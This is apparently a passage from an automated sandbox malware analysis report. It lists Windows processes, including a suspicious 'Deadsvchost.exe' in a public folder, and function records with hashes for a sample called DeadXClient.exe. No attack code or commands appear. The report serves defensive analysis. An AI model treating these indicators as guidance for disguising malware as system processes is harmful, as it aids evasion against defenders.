Target ID:	31
Start time:	13:15:18
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	13:15:18
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	13:15:19
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	13:15:20
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	13:15:20
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	13:15:20
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	13:15:21
Start date:	13/10/2024
Path:	C:\Users\Public\Deadsvchost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Public\Deadsvchost.exe"
Imagebase:	0xb70000
File size:	35'840 bytes
MD5 hash:	F1976EA02BFFAEF5AC943C2ABBB7426C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	13:15:21
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	13:15:22
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	13:15:23
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	13:15:23
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	13:15:24
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	13:15:24
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	13:15:25
Start date:	13/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	13:15:26
Start date:	13/10/2024
Path:	C:\Windows\System32\spoolsv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\spoolsv.exe
Imagebase:	0x7ff646ff0000
File size:	842'752 bytes
MD5 hash:	0D4B1E3E4488E9BDC035F23E1F4FE22F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFD9B800C11 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704719552.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_mIURiU8n2P.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed69e48d52b2f0ca14f0f90e54f3762c30f22354503cb7201dbf83fb97090212
Instruction ID: e348b023b72b213c02b6010f73cbd6452151a8232c9d3644a81846ce5cf3d74e
Opcode Fuzzy Hash: ed69e48d52b2f0ca14f0f90e54f3762c30f22354503cb7201dbf83fb97090212
Instruction Fuzzy Hash: B9D1C030B1990D8FDBA8EB68C468ABA77E1FF58711B110679E45ED32E6CE34EC419740

Function 00007FFD9B800533 Relevance: .5, Instructions: 463COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704719552.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_mIURiU8n2P.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 165a847d0bd8cdf1d984805687f515b31c9a7571a40b4174e95ddb381f6dbb48
Instruction ID: 5949a0e3a767a0359576a3bfb0aea6334eb1991965f44b70197b89e21781a735
Opcode Fuzzy Hash: 165a847d0bd8cdf1d984805687f515b31c9a7571a40b4174e95ddb381f6dbb48
Instruction Fuzzy Hash: 19311822F0EADF5FE71647B848B55E97F60FF5664070A41BAC0A98B0D7DD24E909C341

Function 00007FFD9B801550 Relevance: .4, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704719552.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_mIURiU8n2P.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74379f5aab75dd9cfa78187e0bbd99e9d9af710ef1a8b284fc03b5ee716af2c8
Instruction ID: 3af02653c2f7a25d422b4f32b1d23869b93a3313c8ad2daa77493edf40aa0749
Opcode Fuzzy Hash: 74379f5aab75dd9cfa78187e0bbd99e9d9af710ef1a8b284fc03b5ee716af2c8
Instruction Fuzzy Hash: 4C713851B1D9894BE7A8EF7C48797B867D1EFAD360F4501BAE08CC32E7DE2898014341

Function 00007FFD9B8004D0 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704719552.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_mIURiU8n2P.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fc24258502d90129a3c0fcea82ada29daa445bb944c0b71d23e7fccfec7035c
Instruction ID: 61820bd453afe9576e22dc428954c4a9871ee207304c194e9be54f03262438b9
Opcode Fuzzy Hash: 5fc24258502d90129a3c0fcea82ada29daa445bb944c0b71d23e7fccfec7035c
Instruction Fuzzy Hash: BB711552F199494BE7A8AF6C48797F877D2EFAD360F45017AE08DC32E6DE2869014341

Function 00007FFD9B8008E9 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704719552.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_mIURiU8n2P.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3de091e80484af78fd82a8ee6e138559d4ca3e2c24e649747783e065b494c239
Instruction ID: 37d77e4429c54438b9859350f2330ae7f14156fb70c5834d10e12ce49dd442d5
Opcode Fuzzy Hash: 3de091e80484af78fd82a8ee6e138559d4ca3e2c24e649747783e065b494c239
Instruction Fuzzy Hash: C6415B20B2D98D0FD715EB3C88655B57BE1EF8A304B0601F6E08EC71A7D928EC028741

Function 00007FFD9B801169 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704719552.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_mIURiU8n2P.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8de029d17034031beba3e610f08157ff5617be87ef473f689b5d6e22cbce71a9
Instruction ID: 0c2d05bf1b763669ef74741b34045d5e29751fb2153c427d4cb7f4b2f77c089a
Opcode Fuzzy Hash: 8de029d17034031beba3e610f08157ff5617be87ef473f689b5d6e22cbce71a9
Instruction Fuzzy Hash: 5931CA71A8E1951FD31657746C638E23BA49F4722471A42B7E098CB9E3C81D6793C3A2

Function 00007FFD9B801259 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704719552.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_mIURiU8n2P.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc8a9fd71c47f23c58faeca2d1e0ef8e7414ecd8d5358e338414b7e861dcbad9
Instruction ID: 59aa5a967442e2917ede54dc8bffbe61a5accfd8b3e73c7e368c33cfc9077ee9
Opcode Fuzzy Hash: fc8a9fd71c47f23c58faeca2d1e0ef8e7414ecd8d5358e338414b7e861dcbad9
Instruction Fuzzy Hash: DF01F901F1E84A0BE354AB7C5CB9AF567C1DF9A265B4541B6F44CC32E7DC195C428351

Function 00007FFD9B8004D8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704719552.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_mIURiU8n2P.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71f7ea16428c26bb1a04423062e3f6bbd715203955f1a77a00c30470669dcebb
Instruction ID: 529d2fccfc7cd7aafe88d0d33db73b13893defc573a32a61c1d0d5f0d573f023
Opcode Fuzzy Hash: 71f7ea16428c26bb1a04423062e3f6bbd715203955f1a77a00c30470669dcebb
Instruction Fuzzy Hash: E2F0F902F1A80E07E7A4AABC18F96F553C1DF9E275B400135F45DC32EADC195C824380

Function 00007FFD9B8004E0 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704719552.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_mIURiU8n2P.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1294563924036899762226a6afd29f903067abdbd8fb2b846cf3ba10b1233503
Instruction ID: 2ecfee005bb9a22f383aa529362a5f381f2cfc9418683e345a44d58dc0fab972
Opcode Fuzzy Hash: 1294563924036899762226a6afd29f903067abdbd8fb2b846cf3ba10b1233503
Instruction Fuzzy Hash: 01F0F430B2991E0BD764AB2CA8956A933D1EF8D314B510538E04EC33D9DE28A9018782

Function 00007FFD9B800A59 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704719552.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_mIURiU8n2P.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb28250cd0b65333a324cd1638aa82228121ad838dafb9a4cf1f472d207a65c3
Instruction ID: 12779cf1d305e328641c7728b047862c673b0bdc7e330f3af42ac39e8da48f3f
Opcode Fuzzy Hash: cb28250cd0b65333a324cd1638aa82228121ad838dafb9a4cf1f472d207a65c3
Instruction Fuzzy Hash: CD01F720E6F28A0FE79663B01836AF43F915F47754F4A40FAE48C8A0E3CD5D59468361

Function 00007FFD9B800BA5 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704719552.00007FFD9B800000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b800000_mIURiU8n2P.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b6986dd7c63cc42423ef241f50872d52d1daaf44a1fa17ea279c26564cde6cc
Instruction ID: 6bc5ff93a64cc608485d1033faef72e5802e4526f54e51763a169fe41814facd
Opcode Fuzzy Hash: 4b6986dd7c63cc42423ef241f50872d52d1daaf44a1fa17ea279c26564cde6cc
Instruction Fuzzy Hash: DFF08B21B0DA590FD349BA28A8B58EA7BD1DF98250B0608B6F848CB1E7DD18D9858391

Analysis Process: DeadXClient.exePID: 5324, Parent PID: 2076COMMON

Executed Functions

Function 00007FFD9B7F0E79 Relevance: 2.0, Strings: 1, Instructions: 730COMMON

Download Yara Rule

Strings

SAM_^, xrefs: 00007FFD9B7F10D1

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID: SAM_^
API String ID: 0-3658645246
Opcode ID: 9651717fb3943bbbf90f9ec1155340cf007fff88afc1baf574bc954996c07dd4
Instruction ID: 1fbb009390564d56ed528dee2d6d9cc6d9d97c95db5c6922eb6cacc960b1fa9d
Opcode Fuzzy Hash: 9651717fb3943bbbf90f9ec1155340cf007fff88afc1baf574bc954996c07dd4
Instruction Fuzzy Hash: 8432A460B1DA4D4BEB98EB7C8469A7977D2FF98300F4145BDE00DC32EADD28B8418785

Function 00007FFD9B7F6F66 Relevance: .5, Instructions: 470COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 588fcf9aa1adb13c3a3638825938aec78924569db5d599d3a773f0014f46435d
Instruction ID: 73a2c7b1275e81cbf7a07b96e6bb4751cd01e4c13292fee81ecdaa55499962d2
Opcode Fuzzy Hash: 588fcf9aa1adb13c3a3638825938aec78924569db5d599d3a773f0014f46435d
Instruction Fuzzy Hash: DAF1A530A09A8D8FEBA8DF28C8557E97BE1FF54310F14426EE84DC72A5DB3499458B81

Function 00007FFD9B7F7D12 Relevance: .5, Instructions: 456COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 231bd397492d362c6495f88d014849242f4f04755d45f0a7a14db90c1f91be7f
Instruction ID: fa75cd1df8a5b874537bc8e6c8b61c65b3ca0c15c26ac9ca4d0fc8dd5999dba5
Opcode Fuzzy Hash: 231bd397492d362c6495f88d014849242f4f04755d45f0a7a14db90c1f91be7f
Instruction Fuzzy Hash: 72E1B430A09A4D8FEBA8DF28C8557E97BD1FF54310F14436ED84DC72A5DA74994187C2

Function 00007FFD9B7F1799 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ff4ee0abe1696e565699d2f4b325f9f2acfc6d1c34065f64d0c46aedd9d5dd6
Instruction ID: 9831a2b4854198bc89123a152b0b27d271cc4ebd9b749c983e8f4f8732f9c144
Opcode Fuzzy Hash: 4ff4ee0abe1696e565699d2f4b325f9f2acfc6d1c34065f64d0c46aedd9d5dd6
Instruction Fuzzy Hash: 11511C20B0E6C90FDB9AAB7848746A5BFD0DF96219F0801FAE09DC71E7DD185802C386

Function 00007FFD9B7F24B1 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

SAM_^, xrefs: 00007FFD9B7F24F6

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID: SAM_^
API String ID: 0-3658645246
Opcode ID: bc9bbf2c28668a87a8cfaa827e89cdb20fa28bf9a201c99c0582bce5ef903afd
Instruction ID: a1b6ed9dbe933a6e781844a229bff195eedaba8bb42cec6e898dce3312e5b62a
Opcode Fuzzy Hash: bc9bbf2c28668a87a8cfaa827e89cdb20fa28bf9a201c99c0582bce5ef903afd
Instruction Fuzzy Hash: 1C118720F0E39A0BE325A7B948719793E61AF86314F8602B9E01CCB1E7DD6C594683D6

Function 00007FFD9B7F85F1 Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFD9B7F8653

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: ca5e2a982c62d49392875d09742ce3e25b2f3b40902b456f04dd3cf8cc3658c7
Instruction ID: b41d79a4cf93dbcd9ea7dd1b726ade15ffb4ae40a20e458318c8d4ee2b40e0e4
Opcode Fuzzy Hash: ca5e2a982c62d49392875d09742ce3e25b2f3b40902b456f04dd3cf8cc3658c7
Instruction Fuzzy Hash: 6B11B471F0935D8FEB249BE488656FD7BA0FF55304F06027BC90DD21A2DB29694087D5

Function 00007FFD9B7F2518 Relevance: 1.3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

SAM_^, xrefs: 00007FFD9B7F24F6

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID: SAM_^
API String ID: 0-3658645246
Opcode ID: a116f73d4b70602a1200d66e3d86c08c322a1684bef44a7538b7f53551f4c21a
Instruction ID: a4e3104255acb9d4348af8fc8eb452fb322c60bb0cd04a68abfa222e13b7523b
Opcode Fuzzy Hash: a116f73d4b70602a1200d66e3d86c08c322a1684bef44a7538b7f53551f4c21a
Instruction Fuzzy Hash: F4F06230F0D24A8BE374DB988460A787BA2AB95310F910778E01DC32F5DF28A94297C9

Function 00007FFD9B7F2EB0 Relevance: .5, Instructions: 511COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6f2159496ec0248daabd3b1dbf420249e0d83972e79bbc906df94c23de59415
Instruction ID: fa75ec9e2ff9bdb2c98ee654caa31de924dbe0189c43751aff2bf8bb672309fb
Opcode Fuzzy Hash: f6f2159496ec0248daabd3b1dbf420249e0d83972e79bbc906df94c23de59415
Instruction Fuzzy Hash: 14B17062B0DA4D0FE768AB2C54346B87BD1EF98310F4506BEE05EC33E6DD286C024395

Function 00007FFD9B7F8BF5 Relevance: .4, Instructions: 419COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cb804e9c654817715f644fec334dc4fc340b8317e63d69a18034f9caf714f05
Instruction ID: 660df4540215c71f07b017e538e74018e5f50ac8d0ab9637456f5278edbe2bb3
Opcode Fuzzy Hash: 6cb804e9c654817715f644fec334dc4fc340b8317e63d69a18034f9caf714f05
Instruction Fuzzy Hash: 5FD12730F1E60E8FEB54EB789865AB97BE1EF45300F4502B9E01DC71F6CE2869468395

Function 00007FFD9B7F7926 Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d1ee0c109402bcdbe239b629de49f02d68d91637a70138ea963ee482d7b7388
Instruction ID: 68e00a7e9d8b6075caeb5b5415f5c63cf14370a3cb7d1dddad3b1894e791afa9
Opcode Fuzzy Hash: 1d1ee0c109402bcdbe239b629de49f02d68d91637a70138ea963ee482d7b7388
Instruction Fuzzy Hash: E1B1C430609B4D8FEB69DF28C8557E93BE1FF55310F14426AE84DC72A6CA34A945CB82

Function 00007FFD9B7F06F8 Relevance: .3, Instructions: 321COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccb2727a32b7f2c01601e6af8057834f4ef5258cdc0cdf8a9d496e4b7a81e5e8
Instruction ID: 4fab566b8bfc06486d7efd6565e576b9c1de519bd376f4ebe79ce0854a0ec283
Opcode Fuzzy Hash: ccb2727a32b7f2c01601e6af8057834f4ef5258cdc0cdf8a9d496e4b7a81e5e8
Instruction Fuzzy Hash: 11915962B1DE4D0BE7A8AB2C54696B876D2FF98310F55067DE04EC33E6DD286D028385

Function 00007FFD9B7F33E5 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 735d1d4a32d385ee9a459a242b01f18e4245adfb8dddd05242c63418a4cd496a
Instruction ID: 043463b5db3f3af7e8cb3d36ecb71784acb2e77b0f66727202595c64dba16037
Opcode Fuzzy Hash: 735d1d4a32d385ee9a459a242b01f18e4245adfb8dddd05242c63418a4cd496a
Instruction Fuzzy Hash: 0D91D424B5CA4D5BEB84B7AC9869B79B6D6EFD8304F5141B9E00CC32EBCD18B8418357

Function 00007FFD9B7F0700 Relevance: .3, Instructions: 275COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25b87630f4231af9061083c84d24eb40151d25f7199323b010a77c1825f6a063
Instruction ID: d32cdacdefc65b561effdd71f4f3ea1568f5bb0865078690fb72b1ef9bb6105c
Opcode Fuzzy Hash: 25b87630f4231af9061083c84d24eb40151d25f7199323b010a77c1825f6a063
Instruction Fuzzy Hash: 5981A624B5890D5BE788B7AC946AB79B2D7EFD8304F514179E00DC33EACD28B8418357

Function 00007FFD9B7F05A0 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0449c9e4319f11975266054823c4da1e40b429ec8b5e09dd37083e76bfb9efd2
Instruction ID: 7a1a991f7c38fcc632ef7b4a9aa5c654aff989008ceaeda643962981f2964367
Opcode Fuzzy Hash: 0449c9e4319f11975266054823c4da1e40b429ec8b5e09dd37083e76bfb9efd2
Instruction Fuzzy Hash: 1161F631B19A0E4FE754EA6C98655FD77E2EF84311F4502BAD40DC33EADD286D028395

Function 00007FFD9B7F13C8 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 631404277075bb179a20c50d38aa1f16830560ade633334e74cfd28ca837c5a3
Instruction ID: 2aebb61a33e68d72a213fe8386b5ee6bcaeb2f7e8c21e5eab1745c9915a1a6d5
Opcode Fuzzy Hash: 631404277075bb179a20c50d38aa1f16830560ade633334e74cfd28ca837c5a3
Instruction Fuzzy Hash: E8613661F1DE4E0BE7A8EB6C486967DBBC2EFD8210F4502BDD04EC36E6DD18A8014385

Function 00007FFD9B7F5D1D Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.3038413567.00007FFD9B7F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b7f0000_DeadXClient.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ba6551791bb161f71d080de7e3d62f1fd84c359be50005cbb795898e44ec404
Instruction ID: 2209c113295692e1447402c8623f0b0fc165a454d7128b0eae96cda3eb635a28
